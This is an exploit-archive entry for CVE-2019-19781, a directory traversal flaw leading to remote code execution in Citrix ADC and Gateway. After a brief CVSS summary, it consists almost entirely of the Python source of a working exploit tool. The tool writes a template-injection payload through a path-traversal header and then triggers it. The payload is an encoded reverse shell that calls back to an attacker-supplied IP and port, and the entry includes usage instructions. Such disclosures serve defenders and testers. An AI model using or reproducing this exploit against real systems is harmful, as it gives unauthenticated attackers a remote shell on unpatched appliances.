Citrix Application Delivery Controller and Citrix Gateway Remote Code Execution

2020.01.12
Credit: Scott
Risk: High
Local: No
Remote: Yes
CWE: CWE-22


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

#!/usr/bin/python3 # # Exploits the Citrix Directory Traversal Bug: CVE-2019-19781 # # You only need a listener like netcat to catch the shell. # # Shout out to the team: Rob Simon, Justin Elze, Logan Sampson, Geoff Walton, Christopher Paschen, Kevin Haubris, Scott White # # Tool Written by: Rob Simon and David Kennedy import requests import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) # disable warnings import random import string import time from random import randint import argparse import sys # random string generator def randomString(stringLength=10): letters = string.ascii_lowercase return ''.join(random.choice(letters) for i in range(stringLength)) # our random string for filename - will leave artifacts on system filename = randomString() randomuser = randomString() # generate random number for the nonce nonce = randint(5, 15) # this is our first stage which will write out the file through the Citrix traversal issue and the newbm.pl script # note that the file location will be in /netscaler/portal/templates/filename.xml def stage1(filename, randomuser, nonce, victimip, victimport, attackerip, attackerport): # encoding our payload stub for one netcat listener - awesome work here Rob Simon (KC) encoded = "" i=0 text = ("""python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("%s",%s));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'""" % (attackerip, attackerport)) while i < len(text): encoded = encoded + "chr("+str(ord(text[i]))+") . " i += 1 encoded = encoded[:-3] payload="[% template.new({'BLOCK'='print readpipe(" + encoded + ")'})%]" headers = ( { 'User-Agent' : 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:71.0) Gecko/20100101 Firefox/71.0', 'NSC_USER' : '../../../netscaler/portal/templates/%s' % (filename), 'NSC_NONCE' : '%s' % (nonce), }) data = ( { "url" : "127.0.0.1", "title" : payload, "desc" : "desc", "UI_inuse" : "a" }) url = ("https://%s:%s/vpn/../vpns/portal/scripts/newbm.pl" % (victimip, victimport)) requests.post(url, data=data, headers=headers, verify=False) # this is our second stage that triggers the exploit for us def stage2(filename, randomuser, nonce, victimip, victimport): headers = ( { 'User-Agent' : 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:71.0) Gecko/20100101 Firefox/71.0', 'NSC_USER' : '%s' % (randomuser), 'NSC_NONCE' : '%s' % (nonce), }) requests.get("https://%s:%s/vpn/../vpns/portal/%s.xml" % (victimip, victimport, filename), headers=headers, verify=False) # start our main code to execute print(''' .o oOOOOOOOo OOOo Ob.OOOOOOOo OOOo. oOOo. .adOOOOOOO OboO"""""""""""".OOo. .oOOOOOo. OOOo.oOOOOOo.."""""""""'OO OOP.oOOOOOOOOOOO "POOOOOOOOOOOo. `"OOOOOOOOOP,OOOOOOOOOOOB' `O'OOOO' `OOOOo"OOOOOOOOOOO` .adOOOOOOOOO"oOOO' `OOOOo .OOOO' `OOOOOOOOOOOOOOOOOOOOOOOOOO' `OO OOOOO '"OOOOOOOOOOOOOOOO"` oOO oOOOOOba. .adOOOOOOOOOOba .adOOOOo. oOOOOOOOOOOOOOba. .adOOOOOOOOOO@^OOOOOOOba. .adOOOOOOOOOOOO OOOOOOOOOOOOOOOOO.OOOOOOOOOOOOOO"` '"OOOOOOOOOOOOO.OOOOOOOOOOOOOO "OOOO" "YOoOOOOMOIONODOO"` . '"OOROAOPOEOOOoOY" "OOO" Y 'OOOOOOOOOOOOOO: .oOOo. :OOOOOOOOOOO?' :` : .oO%OOOOOOOOOOo.OOOOOO.oOOOOOOOOOOOO? . . oOOP"%OOOOOOOOoOOOOOOO?oOOOOO?OOOO"OOo '%o OOOO"%OOOO%"%OOOOO"OOOOOO"OOO': `$" `OOOO' `O"Y ' `OOOO' o . . . OP" : o . : Citrixmash v0.1 - Exploits the Citrix Directory Traversal Bug: CVE-2019-19781 Tool Written by: Rob Simon and Dave Kennedy Contributions: The TrustedSec Team Website: https://www.trustedsec.com INFO: https://www.trustedsec.com/blog/critical-exposure-in-citrix-adc-netscaler-unauthenticated-remote-code-execution/ This tool exploits a directory traversal bug within Citrix ADC (NetScalers) which calls a perl script that is used to append files in an XML format to the victim machine. This in turn allows for remote code execution. Be sure to cleanup these two file locations: /var/tmp/netscaler/portal/templates/ /netscaler/portal/templates/ Usage: python citrixmash.py <victimipaddress> <victimport> <attacker_listener> <attacker_port>\n''') # parse our commands parser = argparse.ArgumentParser() parser.add_argument("target", help="the vulnerable server with Citrix (defaults https)") parser.add_argument("targetport", help="the target server web port (normally on 443)") parser.add_argument("attackerip", help="the attackers reverse listener IP address") parser.add_argument("attackerport", help="the attackersa reverse listener port") args = parser.parse_args() print("[*] Firing STAGE1 POST request to create the XML template exploit to disk...") print("[*] Saving filename as %s.xml on the victim machine..." % (filename)) # trigger our first post stage1(filename, randomuser, nonce, args.target, args.targetport, args.attackerip, args.attackerport) print("[*] Sleeping for 2 seconds to ensure file is written before we call it...") time.sleep(2) print("[*] Triggering GET request for the newly created file with a listener waiting...") print("[*] Shell should now be in your listener... enjoy. Keep this window open..") print("[!] Be sure to cleanup the two locations here (artifacts): /var/tmp/netscaler/portal/templates/, /netscaler/portal/templates/") # trigger our second post stage2(filename, randomuser, nonce, args.target, args.targetport)


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